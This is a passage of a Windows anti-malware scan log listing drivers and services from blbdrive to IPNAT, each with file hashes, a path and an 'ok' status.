    12:24:18.0704 0x139c  [ 61583EE3C3A17003C4ACD0475646B4D3, 17E4BECC309C450E7E44F59A9C0BBC24D21BDC66DFBA65B8F198A00BB47A9811 ] blbdrive        C:\Windows\system32\DRIVERS\blbdrive.sys
    12:24:18.0707 0x139c  blbdrive - ok
    12:24:18.0799 0x139c  [ EBBCD5DFBB1DE70E8F4AF8FA59E401FD, 17BFFC5DF609CE3B2F0CAB4BD6C118608C66A3AD86116A47E90B2BB7D8954122 ] Bonjour Service C:\Program Files\Bonjour\mDNSResponder.exe
    12:24:18.0822 0x139c  Bonjour Service - ok
    12:24:18.0863 0x139c  [ 91CE0D3DC57DD377E690A2D324022B08, 61874463956C0BCA5139522F34E974E5F638A092E0FD5C59DD30DE61D9AB8B0E ] bowser          C:\Windows\system32\DRIVERS\bowser.sys
    12:24:18.0868 0x139c  bowser - ok
    12:24:18.0887 0x139c  [ F09EEE9EDC320B5E1501F749FDE686C8, 66691114C42E12F4CC6DC4078D4D2FA4029759ACDAF1B59D17383487180E84E3 ] BrFiltLo        C:\Windows\system32\DRIVERS\BrFiltLo.sys
    12:24:18.0890 0x139c  BrFiltLo - ok
    12:24:18.0913 0x139c  [ B114D3098E9BDB8BEA8B053685831BE6, 0ED23C1897F35FA00B9C2848DE4ED200E18688AA7825674888054BBC3A3EB92C ] BrFiltUp        C:\Windows\system32\DRIVERS\BrFiltUp.sys
    12:24:18.0916 0x139c  BrFiltUp - ok
    12:24:18.0967 0x139c  [ 8EF0D5C41EC907751B8429162B1239ED, 9CC25F1F93FACA6F6CE23F78EB58590C39A2E3C8A3ACDF400E8A9DE0757EADAE ] Browser         C:\Windows\System32\browser.dll
    12:24:18.0973 0x139c  Browser - ok
    12:24:18.0998 0x139c  [ 43BEA8D483BF1870F018E2D02E06A5BD, 4E6F5A5FD8C796A110B0DC9FF29E31EA78C04518FC1C840EF61BABD58AB10272 ] Brserid         C:\Windows\System32\Drivers\Brserid.sys
    12:24:19.0009 0x139c  Brserid - ok
    12:24:19.0029 0x139c  [ A6ECA2151B08A09CACECA35C07F05B42, E2875BB7768ABAF38C3377007AA0A3C281503474D1831E396FB6599721586B0C ] BrSerWdm        C:\Windows\System32\Drivers\BrSerWdm.sys
    12:24:19.0032 0x139c  BrSerWdm - ok
    12:24:19.0043 0x139c  [ B79968002C277E869CF38BD22CD61524, 50631836502237AF4893ECDCEA43B9031C3DE97433F594D46AF7C3C77F331983 ] BrUsbMdm        C:\Windows\System32\Drivers\BrUsbMdm.sys
    12:24:19.0045 0x139c  BrUsbMdm - ok
    12:24:19.0056 0x139c  [ A87528880231C54E75EA7A44943B38BF, 4C8BBB29FDA76A96840AA47A8613C15D4466F9273A13941C19507008629709C9 ] BrUsbSer        C:\Windows\System32\Drivers\BrUsbSer.sys
    12:24:19.0058 0x139c  BrUsbSer - ok
    12:24:19.0084 0x139c  [ 9DA669F11D1F894AB4EB69BF546A42E8, B498B8B6CEF957B73179D1ADAF084BBB57BB3735D810F9BE2C7B1D58A4FD25A4 ] BTHMODEM        C:\Windows\system32\DRIVERS\bthmodem.sys
    12:24:19.0088 0x139c  BTHMODEM - ok
    12:24:19.0172 0x139c  [ 0D25B6D300BA26A5F2C3B2A8E96B158B, 45C4D18367BDBD85D442221286FE4E9EBC053F1927A32403B2DEBF95AD4E6676 ] BTHPORT         C:\Windows\System32\Drivers\BTHport.sys
    12:24:19.0206 0x139c  BTHPORT - ok
    12:24:19.0229 0x139c  [ 95F9C2976059462CBBF227F7AAB10DE9, 2797AE919FF7606B070FB039CECDB0707CD2131DCAC09C5DF14F443D881C9F34 ] bthserv         C:\Windows\system32\bthserv.dll
    12:24:19.0234 0x139c  bthserv - ok
    12:24:19.0256 0x139c  [ 1F9912F8EC5BFA53432E71E150636A8A, D8DE353FA5A6B95EA1CBC79731657044C09BED38B831B8365DCCA8A6DEA67111 ] BTHUSB          C:\Windows\System32\Drivers\BTHUSB.sys
    12:24:19.0259 0x139c  BTHUSB - ok
    12:24:19.0275 0x139c  [ B8BD2BB284668C84865658C77574381A, 6C55BA288B626DF172FDFEA0BD7027FAEBA1F44EF20AB55160D7C7DC6E717D65 ] cdfs            C:\Windows\system32\DRIVERS\cdfs.sys
    12:24:19.0279 0x139c  cdfs - ok
    12:24:19.0326 0x139c  [ F036CE71586E93D94DAB220D7BDF4416, BD07AAD9E20CEAF9FC84E4977C55EA2C45604A2C682AC70B9B9A2199B6713D5B ] cdrom           C:\Windows\system32\drivers\cdrom.sys
    12:24:19.0332 0x139c  cdrom - ok
    12:24:19.0393 0x139c  [ F17D1D393BBC69C5322FBFAFACA28C7F, 62A1A92B3C52ADFD0B808D7F69DD50238B5F202421F1786F7EAEAA63F274B3E8 ] CertPropSvc     C:\Windows\System32\certprop.dll
    12:24:19.0398 0x139c  CertPropSvc - ok
    12:24:19.0466 0x139c  [ C58EC27035731337ADD1326880086B16, 1A48A57D7FF5332AD380AF7884F516548DB535CFE23F3AE7D5AF291307CBC435 ] CH341SER_A64    C:\Windows\system32\Drivers\CH341S64.SYS
    12:24:19.0469 0x139c  CH341SER_A64 - ok
    12:24:19.0516 0x139c  [ D7CD5C4E1B71FA62050515314CFB52CF, 513B5A849899F379F0BC6AB3A8A05C3493C2393C95F036612B96EC6E252E1C64 ] circlass        C:\Windows\system32\DRIVERS\circlass.sys
    12:24:19.0519 0x139c  circlass - ok
    12:24:19.0547 0x139c  [ FE1EC06F2253F691FE36217C592A0206, B9F122DB5E665ECDF29A5CB8BB6B531236F31A54A95769D6C5C1924C87FE70CE ] CLFS            C:\Windows\system32\CLFS.sys
    12:24:19.0579 0x139c  CLFS - ok
    12:24:19.0660 0x139c  [ D88040F816FDA31C3B466F0FA0918F29, 39D3630E623DA25B8444B6D3AAAB16B98E7E289C5619E19A85D47B74C71449F3 ] clr_optimization_v2.0.50727_32 C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe
    12:24:19.0664 0x139c  clr_optimization_v2.0.50727_32 - ok
    12:24:19.0699 0x139c  [ D1CEEA2B47CB998321C579651CE3E4F8, 654013B8FD229A50017B08DEC6CA19C7DDA8CE0771260E057A92625201D539B1 ] clr_optimization_v2.0.50727_64 C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe
    12:24:19.0704 0x139c  clr_optimization_v2.0.50727_64 - ok
    12:24:19.0794 0x139c  [ F5AB4D2E36625F355E81539239765107, 48E6AD65EEFD6C54F938F5753EF58377CDA77ADBB41CD8635F0040D61EFB92A4 ] clr_optimization_v4.0.30319_32 C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
    12:24:19.0799 0x139c  clr_optimization_v4.0.30319_32 - ok
    12:24:19.0842 0x139c  [ 9ACBE5EC13C2CC95833BFB7636CA8B1A, 6224DA9FB335D2A8374C60B8DEA539DD3A0E43230DB888B137B71A56EC57D6AF ] clr_optimization_v4.0.30319_64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
    12:24:19.0847 0x139c  clr_optimization_v4.0.30319_64 - ok
    12:24:19.0874 0x139c  [ 0840155D0BDDF1190F84A663C284BD33, 696039FA63CFEB33487FAA8FD7BBDB220141E9C6E529355D768DFC87999A9C3A ] CmBatt          C:\Windows\system32\DRIVERS\CmBatt.sys
    12:24:19.0876 0x139c  CmBatt - ok
    12:24:19.0923 0x139c  [ E19D3F095812725D88F9001985B94EDD, 46243C5CCC4981CAC6FA6452FFCEC33329BF172448F1852D52592C9342E0E18B ] cmdide          C:\Windows\system32\drivers\cmdide.sys
    12:24:19.0926 0x139c  cmdide - ok
    12:24:19.0988 0x139c  [ D5FEA92400F12412B3922087C09DA6A5, C8CD9215D26D3295FE487C96A4FC3F4C8AFED764AE9445D9858D7489823A8A2B ] CNG             C:\Windows\system32\Drivers\cng.sys
    12:24:20.0010 0x139c  CNG - ok
    12:24:20.0044 0x139c  [ 102DE219C3F61415F964C88E9085AD14, CD74CB703381F1382C32CF892FF2F908F4C9412E1BC77234F8FEA5D4666E1BF1 ] Compbatt        C:\Windows\system32\DRIVERS\compbatt.sys
    12:24:20.0045 0x139c  Compbatt - ok
    12:24:20.0073 0x139c  [ 03EDB043586CCEBA243D689BDDA370A8, 0E4523AA332E242D5C2C61C5717DBA5AB6E42DADB5A7E512505FC2B6CC224959 ] CompositeBus    C:\Windows\system32\drivers\CompositeBus.sys
    12:24:20.0075 0x139c  CompositeBus - ok
    12:24:20.0100 0x139c  COMSysApp - ok
    12:24:20.0112 0x139c  [ 1C827878A998C18847245FE1F34EE597, 41EF7443D8B2733AA35CAC64B4F5F74FAC8BB0DA7D3936B69EC38E2DC3972E60 ] crcdisk         C:\Windows\system32\DRIVERS\crcdisk.sys
    12:24:20.0114 0x139c  crcdisk - ok
    12:24:20.0197 0x139c  [ 15597883FBE9B056F276ADA3AD87D9AF, B347E0B11228E38313C59C8ED984253A8A1FF482ED137CF5F488C4AFD6B08857 ] CryptSvc        C:\Windows\system32\cryptsvc.dll
    12:24:20.0205 0x139c  CryptSvc - ok
    12:24:20.0239 0x139c  [ 54DA3DFD29ED9F1619B6F53F3CE55E49, 9177C6907A983296BF188892A894B668A09FFA058FD56B50FE12940D54B0FA5E ] CSC             C:\Windows\system32\drivers\csc.sys
    12:24:20.0268 0x139c  CSC - ok
    12:24:20.0335 0x139c  [ 3AB183AB4D2C79DCF459CD2C1266B043, 72B0187EBA9DC74E61EC5CB3DC24058DDB768843E865801894AAEAA211610C56 ] CscService      C:\Windows\System32\cscsvc.dll
    12:24:20.0369 0x139c  CscService - ok
    12:24:20.0417 0x139c  [ 5C627D1B1138676C0A7AB2C2C190D123, C5003F2C912C5CA990E634818D3B4FD72F871900AF2948BD6C4D6400B354B401 ] DcomLaunch      C:\Windows\system32\rpcss.dll
    12:24:20.0450 0x139c  DcomLaunch - ok
    12:24:20.0490 0x139c  [ 3CEC7631A84943677AA8FA8EE5B6B43D, 32061DAC9ED6C1EBA3B367B18D0E965AEEC2DF635DCF794EC39D086D32503AC5 ] defragsvc       C:\Windows\System32\defragsvc.dll
    12:24:20.0511 0x139c  defragsvc - ok
    12:24:20.0570 0x139c  [ 9BB2EF44EAA163B29C4A4587887A0FE4, 03667BC3EA5003F4236929C10F23D8F108AFCB29DB5559E751FB26DFB318636F ] DfsC            C:\Windows\system32\Drivers\dfsc.sys
    12:24:20.0575 0x139c  DfsC - ok
    12:24:20.0644 0x139c  [ 2D589A2C024B2FB238535DB9F7B3597D, 1EB47F73BC890D67A50C72E30BFE139AA1747C88E2FA8029A7382B203C37B512 ] DgiVecp         C:\Windows\system32\Drivers\DgiVecp.sys
    12:24:20.0646 0x139c  DgiVecp - ok
    12:24:20.0678 0x139c  [ 43D808F5D9E1A18E5EEB5EBC83969E4E, C10D1155D71EABE4ED44C656A8F13078A8A4E850C4A8FBB92D52D173430972B8 ] Dhcp            C:\Windows\system32\dhcpcore.dll
    12:24:20.0709 0x139c  Dhcp - ok
    12:24:20.0741 0x139c  [ 13096B05847EC78F0977F2C0F79E9AB3, 1E44981B684F3E56F5D2439BB7FA78BD1BC876BB2265AE089AEC68F241B05B26 ] discache        C:\Windows\system32\drivers\discache.sys
    12:24:20.0743 0x139c  discache - ok
    12:24:20.0780 0x139c  [ 9819EEE8B5EA3784EC4AF3B137A5244C, 571BC886E87C888DA96282E381A746D273B58B9074E84D4CA91275E26056D427 ] Disk            C:\Windows\system32\DRIVERS\disk.sys
    12:24:20.0783 0x139c  Disk - ok
    12:24:20.0808 0x139c  [ CD55F5355D8F55D44C9F4ED875705BD6, 321C26E3CD9F376D30F05FBDF00E96399512ED705D867E8B14793D9CE69A1C1F ] Dnscache        C:\Windows\System32\dnsrslvr.dll
    12:24:20.0815 0x139c  Dnscache - ok
    12:24:20.0890 0x139c  [ B1FB3DDCA0FDF408750D5843591AFBC6, AB6AD9C5E7BA2E3646D0115B67C4800D1CB43B4B12716397657C7ADEEE807304 ] dot3svc         C:\Windows\System32\dot3svc.dll
    12:24:20.0899 0x139c  dot3svc - ok
    12:24:20.0930 0x139c  [ B26F4F737E8F9DF4F31AF6CF31D05820, 394BBBED4EC7FAD4110F62A43BFE0801D4AC56FFAC6C741C69407B26402311C7 ] DPS             C:\Windows\system32\dps.dll
    12:24:20.0938 0x139c  DPS - ok
    12:24:20.0986 0x139c  [ 9B19F34400D24DF84C858A421C205754, 967AF267B4124BADA8F507CEBF25F2192D146A4D63BE71B45BFC03C5DA7F21A7 ] drmkaud         C:\Windows\system32\drivers\drmkaud.sys
    12:24:20.0988 0x139c  drmkaud - ok
    12:24:21.0071 0x139c  [ F5BEE30450E18E6B83A5012C100616FD, 44D0577D159FC2BDF4EAD1DC2C7FD14925D075225EF97608CAC52DEE405B08FD ] DXGKrnl         C:\Windows\System32\drivers\dxgkrnl.sys
    12:24:21.0095 0x139c  DXGKrnl - ok
    12:24:21.0145 0x139c  [ E2DDA8726DA9CB5B2C4000C9018A9633, 0C967DBC3636A76A696997192A158AA92A1AF19F01E3C66D5BF91818A8FAEA76 ] EapHost         C:\Windows\System32\eapsvc.dll
    12:24:21.0150 0x139c  EapHost - ok
    12:24:21.0293 0x139c  [ DC5D737F51BE844D8C82C695EB17372F, 6D4022D9A46EDE89CEF0FAEADCC94C903234DFC460C0180D24FF9E38E8853017 ] ebdrv           C:\Windows\system32\DRIVERS\evbda.sys
    12:24:21.0416 0x139c  ebdrv - ok
    12:24:21.0454 0x139c  [ 0793F40B9B8A1BDD266296409DBD91EA, 8A383FC9A66A327905C340D06138980F9E489479535A2C2AAE5E8BB14A74826E ] EFS             C:\Windows\System32\lsass.exe
    12:24:21.0457 0x139c  EFS - ok
    12:24:21.0528 0x139c  [ C4002B6B41975F057D98C439030CEA07, 3D2484FBB832EFB90504DD406ED1CF3065139B1FE1646471811F3A5679EF75F1 ] ehRecvr         C:\Windows\ehome\ehRecvr.exe
    12:24:21.0561 0x139c  ehRecvr - ok
    12:24:21.0607 0x139c  [ 4705E8EF9934482C5BB488CE28AFC681, 359E9EC5693CE0BE89082E1D5D8F5C5439A5B985010FF0CB45C11E3CFE30637D ] ehSched         C:\Windows\ehome\ehsched.exe
    12:24:21.0612 0x139c  ehSched - ok
    12:24:21.0676 0x139c  [ 0E5DA5369A0FCAEA12456DD852545184, 9A64AC5396F978C3B92794EDCE84DCA938E4662868250F8C18FA7C2C172233F8 ] elxstor         C:\Windows\system32\DRIVERS\elxstor.sys
    12:24:21.0709 0x139c  elxstor - ok
    12:24:21.0756 0x139c  [ 34A3C54752046E79A126E15C51DB409B, 7D5B5E150C7C73666F99CBAFF759029716C86F16B927E0078D77F8A696616D75 ] ErrDev          C:\Windows\system32\drivers\errdev.sys
    12:24:21.0757 0x139c  ErrDev - ok
    12:24:21.0823 0x139c  [ 05B0DCDA418E297A1B4CD8D7B8ADE403, 100F8093B3772563AD42F4C167E2A7C6ED65603FBB610804DBA0CAFAA7658520 ] ETD             C:\Windows\system32\DRIVERS\ETD.sys
    12:24:21.0828 0x139c  ETD - ok
    12:24:21.0879 0x139c  [ 4166F82BE4D24938977DD1746BE9B8A0, 24121751B7306225AD1C808442D7B030DEF377E9316AA0A3C5C7460E87317881 ] EventSystem     C:\Windows\system32\es.dll
    12:24:21.0901 0x139c  EventSystem - ok
    12:24:21.0935 0x139c  [ A510C654EC00C1E9BDD91EEB3A59823B, 76CD277730F7B08D375770CD373D786160F34D1481AF0536BA1A5D2727E255F5 ] exfat           C:\Windows\system32\drivers\exfat.sys
    12:24:21.0954 0x139c  exfat - ok
    12:24:21.0983 0x139c  [ 0ADC83218B66A6DB380C330836F3E36D, 798D6F83B5DBCC1656595E0A96CF12087FCCBE19D1982890D0CE5F629B328B29 ] fastfat         C:\Windows\system32\drivers\fastfat.sys
    12:24:21.0992 0x139c  fastfat - ok
    12:24:22.0064 0x139c  [ DBEFD454F8318A0EF691FDD2EAAB44EB, 7F52AE222FF28503B6FC4A5852BD0CAEAF187BE69AF4B577D3DE474C24366099 ] Fax             C:\Windows\system32\fxssvc.exe
    12:24:22.0098 0x139c  Fax - ok
    12:24:22.0122 0x139c  [ D765D19CD8EF61F650C384F62FAC00AB, 9F0A483A043D3BA873232AD3BA5F7BF9173832550A27AF3E8BD433905BD2A0EE ] fdc             C:\Windows\system32\DRIVERS\fdc.sys
    12:24:22.0125 0x139c  fdc - ok
    12:24:22.0147 0x139c  [ 0438CAB2E03F4FB61455A7956026FE86, 6D4DDC2973DB25CE0C7646BC85EFBCC004EBE35EA683F62162AE317C6F1D8DFE ] fdPHost         C:\Windows\system32\fdPHost.dll
    12:24:22.0149 0x139c  fdPHost - ok
    12:24:22.0167 0x139c  [ 802496CB59A30349F9A6DD22D6947644, 52D59D3D628D5661F83F090F33F744F6916E0CC1F76E5A33983E06EB66AE19F8 ] FDResPub        C:\Windows\system32\fdrespub.dll
    12:24:22.0171 0x139c  FDResPub - ok
    12:24:22.0197 0x139c  [ 655661BE46B5F5F3FD454E2C3095B930, 549C8E2A2A37757E560D55FFA6BFDD838205F17E40561E67F0124C934272CD1A ] FileInfo        C:\Windows\system32\drivers\fileinfo.sys
    12:24:22.0201 0x139c  FileInfo - ok
    12:24:22.0223 0x139c  [ 5F671AB5BC87EEA04EC38A6CD5962A47, 6B61D3363FF3F9C439BD51102C284972EAE96ACC0683B9DC7E12D25D0ADC51B6 ] Filetrace       C:\Windows\system32\drivers\filetrace.sys
    12:24:22.0226 0x139c  Filetrace - ok
    12:24:22.0333 0x139c  [ 00EDB531DFB127197D625204B138269B, 0CE6536344CE30F06C6CD04BEB202C935B10439200B9CE792B4440D2EE3CB9D9 ] FlexNet Licensing Service C:\Program Files (x86)\Common Files\Macrovision Shared\FlexNet Publisher\FNPLicensingService.exe
    12:24:22.0378 0x139c  FlexNet Licensing Service - ok
    12:24:22.0488 0x139c  [ 668D43EFEB7F129584100CF6320E8A6F, 093254127A63420F93001BA63CF323AA4C17A38914D5B991E31F3B8C1971E9D7 ] FlexNet Licensing Service 64 C:\Program Files\Common Files\Macrovision Shared\FlexNet Publisher\FNPLicensingService64.exe
    12:24:22.0599 0x139c  FlexNet Licensing Service 64 - ok
    12:24:22.0635 0x139c  [ C172A0F53008EAEB8EA33FE10E177AF5, 9175A95B323696D1B35C9EFEB7790DD64E6EE0B7021E6C18E2F81009B169D77B ] flpydisk        C:\Windows\system32\DRIVERS\flpydisk.sys
    12:24:22.0638 0x139c  flpydisk - ok
    12:24:22.0701 0x139c  [ DA6B67270FD9DB3697B20FCE94950741, F621A4462C9F2904063578C427FAF22D7D66AE9967605C11C798099817CE5331 ] FltMgr          C:\Windows\system32\drivers\fltmgr.sys
    12:24:22.0710 0x139c  FltMgr - ok
    12:24:22.0797 0x139c  [ B4447F606BB19FD8AD0BAFB59B90F5D9, 043E686029DE2710305852E3A416176E400F9FD5FB98E4F2A6F14C060FAABED5 ] FontCache       C:\Windows\system32\FntCache.dll
    12:24:22.0843 0x139c  FontCache - ok
    12:24:22.0914 0x139c  [ A8B7F3818AB65695E3A0BB3279F6DCE6, 89FCF10F599767E67A1E011753E34DA44EAA311F105DBF69549009ED932A60F0 ] FontCache3.0.0.0 C:\Windows\Microsoft.Net\Framework64\v3.0\WPF\PresentationFontCache.exe
    12:24:22.0917 0x139c  FontCache3.0.0.0 - ok
    12:24:22.0940 0x139c  [ D43703496149971890703B4B1B723EAC, F06397B2EDCA61629249D2EF1CBB7827A8BEAB8488246BD85EF6AE1363C0DA6E ] FsDepends       C:\Windows\system32\drivers\FsDepends.sys
    12:24:22.0943 0x139c  FsDepends - ok
    12:24:22.0965 0x139c  [ E95EF8547DE20CF0603557C0CF7A9462, 55540B06B7B380CA2DA6EEE2D76C6CD6131ADB02B2D0B172A36536863A0C57B6 ] Fs_Rec          C:\Windows\system32\drivers\Fs_Rec.sys
    12:24:22.0966 0x139c  Fs_Rec - ok
    12:24:23.0038 0x139c  [ 1F7B25B858FA27015169FE95E54108ED, 72DD12E924AA7273B3E4BDD2A2C581DECE304C8EF3D44EA79ABB032F3F95DCE5 ] fvevol          C:\Windows\system32\DRIVERS\fvevol.sys
    12:24:23.0047 0x139c  fvevol - ok
    12:24:23.0072 0x139c  [ 8C778D335C9D272CFD3298AB02ABE3B6, 85F0B13926B0F693FA9E70AA58DE47100E4B6F893772EBE4300C37D9A36E6005 ] gagp30kx        C:\Windows\system32\DRIVERS\gagp30kx.sys
    12:24:23.0076 0x139c  gagp30kx - ok
    12:24:23.0213 0x139c  [ 23F7AF7E0512C58467BC37FF4AF356A8, 385AD7844FC75FB319B120303A446359B3FEA4D84BF2F8FA481955E52788E076 ] GoogleChromeElevationService C:\Program Files (x86)\Google\Chrome\Application\71.0.3578.98\elevation_service.exe
    12:24:23.0235 0x139c  GoogleChromeElevationService - ok
    12:24:23.0301 0x139c  [ 277BBC7E1AA1EE957F573A10ECA7EF3A, 2EE60B924E583E847CC24E78B401EF95C69DB777A5B74E1EC963E18D47B94D24 ] gpsvc           C:\Windows\System32\gpsvc.dll
    12:24:23.0337 0x139c  gpsvc - ok
    12:24:23.0402 0x139c  [ 750446ED76A5D13E902174DDDDA1A62B, F67355A6659E21D8D97E6982B28F22453F8C298E822E27FADDB440DA4A6DE7C0 ] gupdate         C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
    12:24:23.0408 0x139c  gupdate - ok
    12:24:23.0422 0x139c  [ 750446ED76A5D13E902174DDDDA1A62B, F67355A6659E21D8D97E6982B28F22453F8C298E822E27FADDB440DA4A6DE7C0 ] gupdatem        C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
    12:24:23.0426 0x139c  gupdatem - ok
    12:24:23.0486 0x139c  [ 445BA8C1553D4F3BDE84E80213BC17B5, 2D39961E9A55902907FC13405235D840F67412BB07F9E3F5D677F4893AA00B8D ] hardlock        C:\Windows\system32\drivers\hardlock.sys
    12:24:23.0494 0x139c  hardlock - ok
    12:24:23.0518 0x139c  hasplms - ok
    12:24:23.0551 0x139c  [ F2523EF6460FC42405B12248338AB2F0, B2F3DE8DE1F512D871BC2BC2E8D0E33AB03335BFBC07627C5F88B65024928E19 ] hcw85cir        C:\Windows\system32\drivers\hcw85cir.sys
    12:24:23.0555 0x139c  hcw85cir - ok
    12:24:23.0605 0x139c  [ 975761C778E33CD22498059B91E7373A, 8304E15FBE6876BE57263A03621365DA8C88005EAC532A770303C06799D915D9 ] HdAudAddService C:\Windows\system32\drivers\HdAudio.sys
    12:24:23.0637 0x139c  HdAudAddService - ok
    12:24:23.0691 0x139c  [ 97BFED39B6B79EB12CDDBFEED51F56BB, 3CF981D668FB2381E52AF2E51E296C6CFB47B0D62249645278479D0111A47955 ] HDAudBus        C:\Windows\system32\drivers\HDAudBus.sys
    12:24:23.0695 0x139c  HDAudBus - ok
    12:24:23.0722 0x139c  [ 78E86380454A7B10A5EB255DC44A355F, 11F3ED7ACFFA3024B9BD504F81AC39F5B4CED5A8A425E8BADF7132EFEDB9BD64 ] HidBatt         C:\Windows\system32\DRIVERS\HidBatt.sys
    12:24:23.0724 0x139c  HidBatt - ok
    12:24:23.0746 0x139c  [ 7FD2A313F7AFE5C4DAB14798C48DD104, 94CBFD4506CBDE4162CEB3367BAB042D19ACA6785954DC0B554D4164B9FCD0D4 ] HidBth          C:\Windows\system32\DRIVERS\hidbth.sys
    12:24:23.0751 0x139c  HidBth - ok
    12:24:23.0771 0x139c  [ 0A77D29F311B88CFAE3B13F9C1A73825, 8615DC6CEFB591505CE16E054A71A4F371B827DDFD5E980777AB4233DCFDA01D ] HidIr           C:\Windows\system32\DRIVERS\hidir.sys
    12:24:23.0775 0x139c  HidIr - ok
    12:24:23.0806 0x139c  [ BD9EB3958F213F96B97B1D897DEE006D, 4D01CBF898B528B3A4E5A683DF2177300AFABD7D4CB51F1A7891B1B545499631 ] hidserv         C:\Windows\system32\hidserv.dll
    12:24:23.0809 0x139c  hidserv - ok
    12:24:23.0860 0x139c  [ 9592090A7E2B61CD582B612B6DF70536, FD11D5E02C32D658B28FCC35688AB66CCB5D3A0A0D74C82AE0F0B6C67B568A0F ] HidUsb          C:\Windows\system32\drivers\hidusb.sys
    12:24:23.0863 0x139c  HidUsb - ok
    12:24:23.0921 0x139c  [ 387E72E739E15E3D37907A86D9FF98E2, 9935BE2E58788E79328293AF2F202CB0F6042441B176F75ACC5AEA93C8E05531 ] hkmsvc          C:\Windows\system32\kmsvc.dll
    12:24:23.0927 0x139c  hkmsvc - ok
    12:24:23.0985 0x139c  [ EFDFB3DD38A4376F93E7985173813ABD, 70402FA73A5A2A8BB557AAC8F531E373077D28DE5F40A1F3F14B940BE01CD2E1 ] HomeGroupListener C:\Windows\system32\ListSvc.dll
    12:24:23.0994 0x139c  HomeGroupListener - ok
    12:24:24.0038 0x139c  [ 908ACB1F594274965A53926B10C81E89, 7D34A742AC486294D82676F8465A3EF26C8AC3317C32B63F62031CB007CFC208 ] HomeGroupProvider C:\Windows\system32\provsvc.dll
    12:24:24.0046 0x139c  HomeGroupProvider - ok
    12:24:24.0073 0x139c  [ 39D2ABCD392F3D8A6DCE7B60AE7B8EFC, E9E6A1665740CFBC2DD321010007EF42ABA2102AEB9772EE8AA3354664B1E205 ] HpSAMD          C:\Windows\system32\drivers\HpSAMD.sys
    12:24:24.0077 0x139c  HpSAMD - ok
    12:24:24.0127 0x139c  [ 0EA7DE1ACB728DD5A369FD742D6EEE28, 21C489412EB33A12B22290EB701C19BA57006E8702E76F730954F0784DDE9779 ] HTTP            C:\Windows\system32\drivers\HTTP.sys
    12:24:24.0163 0x139c  HTTP - ok
    12:24:24.0213 0x139c  [ A5462BD6884960C9DC85ED49D34FF392, 53E65841AF5B06A2844D0BB6FC4DD3923A323FFA0E4BFC89B3B5CAFB592A3D53 ] hwpolicy        C:\Windows\system32\drivers\hwpolicy.sys
    12:24:24.0214 0x139c  hwpolicy - ok
    12:24:24.0232 0x139c  [ FA55C73D4AFFA7EE23AC4BE53B4592D3, 65CDDC62B89A60E942C5642C9D8B539EFB69DA8069B4A2E54978154B314531CD ] i8042prt        C:\Windows\system32\drivers\i8042prt.sys
    12:24:24.0236 0x139c  i8042prt - ok
    12:24:24.0278 0x139c  [ 3DF4395A7CF8B7A72A5F4606366B8C2D, 483588B8FC6E05488ED631C4E1CFC398553FEBFA2CD2BB527B4DF12D19774F80 ] iaStorV         C:\Windows\system32\drivers\iaStorV.sys
    12:24:24.0300 0x139c  iaStorV - ok
    12:24:24.0370 0x139c  [ 5988FC40F8DB5B0739CD1E3A5D0D78BD, 2B9512324DBA4A97F6AC34E8067EE08E3B6874CD60F6CB4209AFC22A34D2BE99 ] idsvc           C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe
    12:24:24.0409 0x139c  idsvc - ok
    12:24:24.0435 0x139c  [ 5C18831C61933628F5BB0EA2675B9D21, 5CD9DE2F8C0256623A417B5C55BF55BB2562BD7AB2C3C83BB3D9886C2FBDA4E4 ] iirsp           C:\Windows\system32\DRIVERS\iirsp.sys
    12:24:24.0439 0x139c  iirsp - ok
    12:24:24.0518 0x139c  [ FCD84C381E0140AF901E58D48882D26B, 76955FFC230C801E8ED890E32076075F04CD6E5EC79E594FDE6D23797A36B406 ] IKEEXT          C:\Windows\System32\ikeext.dll
    12:24:24.0562 0x139c  IKEEXT - ok
    12:24:24.0718 0x139c  [ ABA41EE6F5EEFC034F3BBD025506B37E, 06751C79C4390555292FAB994B7D4CB8B55DDF0846D0CC8900215A65758332EC ] IntcAzAudAddService C:\Windows\system32\drivers\RTKVHD64.sys
    12:24:24.0798 0x139c  IntcAzAudAddService - ok
    12:24:24.0829 0x139c  [ F00F20E70C6EC3AA366910083A0518AA, E2F3E9FFD82C802C8BAC309893A3664ACF16A279959C0FDECCA64C3D3C60FD22 ] intelide        C:\Windows\system32\drivers\intelide.sys
    12:24:24.0832 0x139c  intelide - ok
    12:24:24.0867 0x139c  [ ADA036632C664CAA754079041CF1F8C1, F2386CC09AC6DE4C54189154F7D91C1DB7AA120B13FAE8BA5B579ACF99FCC610 ] intelppm        C:\Windows\system32\DRIVERS\intelppm.sys
    12:24:24.0871 0x139c  intelppm - ok
    12:24:24.0911 0x139c  [ 098A91C54546A3B878DAD6A7E90A455B, 044CCE2A0DF56EBE1EFD99B4F6F0A5B9EE12498CA358CF4B2E3A1CFD872823AA ] IPBusEnum       C:\Windows\system32\ipbusenum.dll
    12:24:24.0917 0x139c  IPBusEnum - ok
    12:24:24.0964 0x139c  [ C9F0E1BD74365A8771590E9008D22AB6, 728BC5A6AAE499FDC50EB01577AF16D83C2A9F3B09936DD2A89C01E074BA8E51 ] IpFilterDriver  C:\Windows\system32\DRIVERS\ipfltdrv.sys
    12:24:24.0968 0x139c  IpFilterDriver - ok
    12:24:25.0044 0x139c  [ A34A587FFFD45FA649FBA6D03784D257, C9A2BCD4E2A5EB6E320092A3AFD5737ECDCDA0B83EE42314A23C4978F2974767 ] iphlpsvc        C:\Windows\System32\iphlpsvc.dll
    12:24:25.0075 0x139c  iphlpsvc - ok
    12:24:25.0127 0x139c  [ 0FC1AEA580957AA8817B8F305D18CA3A, 7161E4DE91AAFC3FA8BF24FAE4636390C2627DB931505247C0D52C75A31473D9 ] IPMIDRV         C:\Windows\system32\drivers\IPMIDrv.sys
    12:24:25.0130 0x139c  IPMIDRV - ok
    12:24:25.0154 0x139c  [ AF9B39A7E7B6CAA203B3862582E9F2D0, 67128BE7EADBE6BD0205B050F96E268948E8660C4BAB259FB0BE03935153D04E ] IPNAT           C:\Windows\system32\drivers\ipnat.sys
    12:24:25.0159 0x139c  IPNAT - ok
